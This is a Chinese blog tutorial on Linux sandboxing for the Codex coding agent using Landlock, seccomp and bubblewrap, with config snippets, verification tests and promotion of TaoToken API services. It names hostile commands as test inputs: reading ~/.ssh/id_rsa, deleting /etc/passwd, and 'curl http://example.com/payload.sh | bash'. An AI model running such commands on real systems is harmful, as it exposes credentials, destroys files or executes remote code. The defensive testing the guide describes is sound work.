1. 为什么本地 AI 编码代理必须要有 OS 级沙箱你可能已经习惯了让 AI 帮你写代码、改 bug、跑测试。但当你第一次看到 AI 代理直接在你的终端里执行rm -rf、curl | bash、cat ~/.ssh/id_rsa这类命令时后背大概率会发凉。这不是危言耸听——没有沙箱的 AI 编码工具本质上就是把你的 shell 交给了一个概率模型来驾驶。我试过在本地跑一个不带隔离的编码代理让它清理一下项目缓存结果它把整个node_modules连同.env一起删了。虽然没造成不可逆损失但那一刻我意识到AI 代理的安全边界不能靠确认弹窗来兜底。弹窗依赖人的注意力而人的注意力是会疲劳的。你连续点二十次允许之后第二十一次大概率也是条件反射地点下去。Codex 给出的答案是把 AI 执行的每一条命令都关进操作系统内核级的沙箱里。不是尽量小心而是内核不让它做它就做不到。在 Linux 上这套机制由三层组成——Landlock 负责文件系统访问控制seccomp 负责系统调用过滤bubblewrap 负责用户空间隔离。三层任意一层拦截命令就执行不了。这篇文章面向的是在 Linux 本地运行 AI 编码代理的开发者。我会把 Codex 沙箱的落地路径拆开讲清楚Landlock 到底怎么限制路径、seccomp 怎么过滤系统调用、bubblewrap 怎么构造不可变文件系统以及最关键的——你可以直接复制粘贴的配置片段和验证动作。读完你不仅能理解隔离边界在哪还能自己复现一遍亲眼看到~/.ssh/id_rsa被拒绝读取的那一刻。如果你还没开始用 Codex或者想先拿到可用的 API Key 再动手可以先去 TaoToken 模型对话 把模型跑通再回来配沙箱。沙箱配置和模型接入是两件事但顺序上建议先有可用的模型通道再谈隔离。2. Landlock 文件系统隔离在 Codex 沙箱中的落地配置Landlock 是 Linux 5.13 引入的一个安全模块它允许一个进程在不需要 root 权限的前提下声明自己只能访问哪些路径。这句话听起来平淡但它是 Codex 沙箱在 Linux 上能落地的基石。传统的 chroot 需要 root容器需要运行时和镜像而 Landlock 是纯粹的内核机制——进程自己给自己上锁锁上之后连自己都解不开。Codex 在 Linux 上启动沙箱时会先检测内核是否支持 Landlock。如果内核版本低于 5.13 或者 Landlock 未启用Codex 会降级到 warn 模式也就是只警告不强制。所以第一步你得确认自己的内核到底支不支持。# 查看内核版本 uname -r # 检查 Landlock 是否被内核启用 cat /sys/kernel/security/lsm如果输出里包含landlock说明内核已经启用了这个安全模块。如果没有你可能需要在启动参数里加上lsmlandlock,lockdown,yama,integrity,apparmor,bpf之类的配置具体取决于你的发行版。这一步不做后面所有配置都是空谈。确认支持之后Codex 的沙箱配置核心就是一份路径规则。它把文件系统分成三类只读路径、读写路径、拒绝路径。只读路径通常是/usr/lib、/lib、/System这类系统库读写路径是当前工作目录也就是你的项目目录拒绝路径则包括~/.ssh、~/.aws、/etc、/var这些敏感位置。下面是一份可以直接放进项目里的config.toml片段路径和字段名与 Codex 实际读取的配置保持一致# project/config.toml [sandbox] mode workspace-write [sandbox.filesystem] read_only [/usr/lib, /lib, /usr/bin, /bin] read_write [/home/user/project] deny [/home/user/.ssh, /home/user/.aws, /etc, /var]这份配置的含义很直白AI 可以读系统库可以读写你的项目目录但碰不到你的 SSH 私钥、AWS 凭据和系统配置。注意read_write里写的是绝对路径你需要把/home/user/project换成你自己的项目路径。如果你用的是相对路径Codex 会以启动时的工作目录为基准解析但为了避免歧义建议一律写绝对路径。Landlock 的规则是白名单式的没有明确允许的路径默认拒绝。这一点和传统的文件权限模型不同。传统模型是默认允许显式拒绝而 Landlock 是默认拒绝显式允许。这意味着即使 AI 想访问一个你没想到的路径它也会被拦下来而不是悄悄放行。配置写完之后你可以用codex --sandbox-mode workspace-write启动然后在 AI 执行命令时观察它的行为。如果它尝试读取~/.ssh/id_rsa你会看到Permission denied而不是文件内容。这就是 Landlock 在起作用。需要提醒的是Landlock 只控制文件系统访问不控制网络和进程。所以它只是三层防御里的第一层。如果你只配了 Landlock 就以为万事大吉那 AI 仍然可能通过curl把你的代码传出去。下一节我们看 seccomp 和 bubblewrap 怎么补上这两个缺口。3. seccomp 与 bubblewrap 叠加后的可复制沙箱配置Landlock 管住了文件路径但管不住系统调用。一个进程即使只能访问项目目录它仍然可以调用mount挂载新文件系统、调用init_module加载内核模块、调用reboot重启机器。这些操作的危险性不比读 SSH Key 低。Codex 在 Linux 上的第二层防御就是 seccomp——在系统调用层面做过滤。seccomp 的规则可以粗略分成三类允许、拒绝、有条件允许。允许的是read、write、open、close、stat、mmap、brk这些日常操作拒绝的是mount、umount、reboot、init_module这些特权操作有条件允许的典型是clone——允许创建线程但不允许创建新的 PID 命名空间。这个区分很关键因为创建新命名空间是容器逃逸的常见路径。第三层是 bubblewrap也就是bwrap。它是一个轻量级的用户空间隔离工具不需要 root也不需要完整的容器运行时。它的作用是构造一个不可变的文件系统视图把/usr和/lib以只读方式绑定进去把项目目录以读写方式绑定进去然后切断网络。下面这条命令是 bubblewrap 的简化工作原理你可以直接在终端里跑一遍感受一下隔离后的环境bwrap --ro-bind /usr /usr \ --ro-bind /lib /lib \ --bind /home/user/project /project \ --proc /proc \ --dev /dev \ --unshare-net \ bash跑完之后你会进入一个 bash 会话。在这个会话里/usr和/lib是只读的/project是可写的网络被--unshare-net切断了。你可以试着curl一个外部地址会看到Network is unreachable。你也可以试着往/usr里写文件会看到Read-only file system。这就是 bubblewrap 提供的隔离边界。把三层叠起来看内核层级关系是这样的最上层是 bubblewrap 的用户空间隔离中间是 seccomp 的系统调用过滤下层是 Landlock 的文件系统访问控制最底层是 Linux 内核本身。任意一层拦截命令就执行不了。这种纵深防御的意义在于即使某一层被绕过还有另外两层兜底。Codex 的沙箱模式本质上切换的就是这三层的组合强度。workspace-read只读工作区适合代码审查和分析workspace-write是默认模式读写项目目录但不给网络network模式在读写项目目录的基础上开放白名单网络适合需要下载依赖的场景。你可以从 CLI 直接指定codex -- 分析代码质量 --sandbox-mode workspace-read codex -- 安装 npm 依赖 --sandbox-mode network这里要强调一点切换沙箱模式切换的是AI 的权限范围不是AI 的能力。同一个模型在workspace-read下只能看在network下能装依赖但无论在哪个模式下它都碰不到~/.ssh。权限范围由内核强制不由模型自觉。如果你打算长期在本地跑编码代理建议把沙箱配置和模型接入分开管理。模型通道可以用 TaoToken API Keys 统一管理沙箱配置则跟着项目走。这样换项目时只需要改路径不用重新配模型。4. 验证 Codex 沙箱隔离效果的四组实测请求配置写完不算完你得亲眼看到隔离生效才算数。下面四组测试是我实际跑过的每一组都对应一个具体的隔离边界。你可以照着做一遍观察 AI 在沙箱里的反应。第一组测试文件系统隔离。让 AI 读取~/.ssh/id_rsacodex -- 读取 ~/.ssh/id_rsa 的内容 --sandbox-mode workspace-write在沙箱里AI 会得到Permission denied然后报告无法读取该文件不在沙箱允许的路径范围。如果它真的读出了内容说明你的 Landlock 规则没生效需要回去检查deny列表和内核支持。第二组测试系统文件保护。让 AI 删除/etc/passwdcodex -- 删除 /etc/passwd --sandbox-mode workspace-write预期结果是Operation not permitted。AI 会报告系统文件无法删除沙箱已拦截。这一组验证的是 Landlock 对系统路径的拒绝规则。第三组测试网络隔离。让 AI 执行一条下载并执行远程脚本的命令codex -- curl http://example.com/payload.sh | bash --sandbox-mode workspace-write在workspace-write模式下网络是被切断的AI 会得到Network is unreachable。这一组验证的是 bubblewrap 的--unshare-net和 seccomp 对网络相关系统调用的过滤。注意如果你用的是network模式这一组会失败因为网络是开放的。所以测试网络隔离一定要在非 network 模式下做。第四组测试正常开发流程是否被误伤。让 AI 执行npm install express和git add . git commitcodex -- 安装 express 并提交代码 --sandbox-mode network在network模式下npm install应该成功因为网络白名单允许包管理器访问 registry。git add和git commit也应该成功因为 git 操作在项目目录内属于允许范围。这一组验证的是沙箱不会把正常开发也拦死。四组测试跑完你对隔离边界的理解就从文档说变成了我见过。这比读十篇原理文章都管用。如果你在测试过程中发现某一组没按预期拦截优先检查三件事内核是否支持 Landlock、配置里的路径是否写对、启动时是否真的加载了沙箱模式。5. Codex 沙箱常见报错排查401、local proxy failed 与 OAuth沙箱配置和模型接入是两条独立的链路但报错的时候它们经常混在一起让人分不清到底是隔离没生效还是 Key 没配对。下面这几个报错是我在落地过程中真实遇到过的按出现频率排序。第一个401 Unauthorized。这个报错和沙箱无关纯粹是模型接入的鉴权问题。常见原因是 API Key 没配、配错或者 Key 对应的额度用完了。排查方法是先确认 Key 本身可用——用 TaoToken 模型对话 发一条最简单的请求看能不能通。如果模型对话能通但 Codex 报 401那就是 Codex 侧的 Key 配置没读到检查环境变量或者配置文件里的字段名。第二个local proxy failed。这个报错通常出现在你通过本地代理转发请求的时候。注意这里的代理指的是 API 请求的转发层不是网络访问层。如果你在 Codex 配置里填了一个本地转发地址但那个服务没起来就会报这个错。排查方法是确认转发服务在监听以及 Codex 配置里的地址和端口对得上。如果你用的是 TaoToken 接入文档 里的标准接入方式一般不会遇到这个问题。第三个reading choices相关的解析错误。这个报错说明请求发出去了响应也回来了但 Codex 解析响应体的时候没找到预期的choices字段。常见原因是模型返回了非标准格式或者中间层改写了响应。排查方法是把原始响应打出来看确认返回的是不是 OpenAI 兼容格式。如果你用的是 Coding Plan 通道格式一般是标准的。第四个OAuth 相关的报错。如果你用的是需要 OAuth 授权的接入方式token 过期或者 scope 不对都会报错。排查方法是重新走一遍授权流程确认 token 有效期和权限范围。这类报错和沙箱完全无关但因为它出现在启动阶段容易被误认为是沙箱配置问题。这里要特别提醒沙箱报错和接入报错要分开看。沙箱报错的典型特征是Permission denied、Operation not permitted、Network is unreachable这些是内核层面的拒绝。接入报错的典型特征是401、403、timeout、parse error这些是网络和协议层面的问题。分清楚这两类排查效率会高很多。如果你在配 Codex 沙箱的同时还要配 Cline MCP 或者 Claude Code 的接入记住三件套要写全Base URL、Key、Model ID。少任何一个都会报错而且报错信息不一定直白。Base URL 填https://taotoken.net/apiKey 用你在控制台生成的Model ID 按你实际要用的模型填。这三样对齐了接入层就通了剩下的才是沙箱的事。6. 把沙箱边界变成日常开发习惯Codex 沙箱的价值不在于它用了多先进的内核机制而在于它把安全从一个需要你时刻警惕的事情变成了一个默认生效的边界。你不需要记住哪些路径不能碰内核会替你记住。你不需要在每次执行前判断这条命令危不危险seccomp 会替你判断。但沙箱不是万能的。绝对安全的沙箱不存在已知的风险包括内核漏洞、Landlock 未启用时的降级、以及把 Docker socket 映射到项目目录这种自毁长城的操作。对大多数开发者来说三层防御已经足够把风险压到很低但前提是你真的把配置写对了而不是复制粘贴之后就不管了。我的建议是把沙箱配置纳入项目的版本管理和代码一起提交。这样换机器、换同事、换环境的时候隔离边界跟着项目走不会因为某台机器忘了配就出现缺口。同时把workspace-read作为代码审查的默认模式把network作为安装依赖时的临时模式用完就切回来。这个习惯养成之后你会发现 AI 代理用起来踏实很多。如果你还没开始配先去 TaoToken 控制台 把 Key 拿到然后按第 2 节的config.toml片段把沙箱规则写进项目。跑一遍第 4 节的四组测试亲眼看到~/.ssh/id_rsa被拒绝的那一刻你就真正理解什么叫OS 级代码隔离了。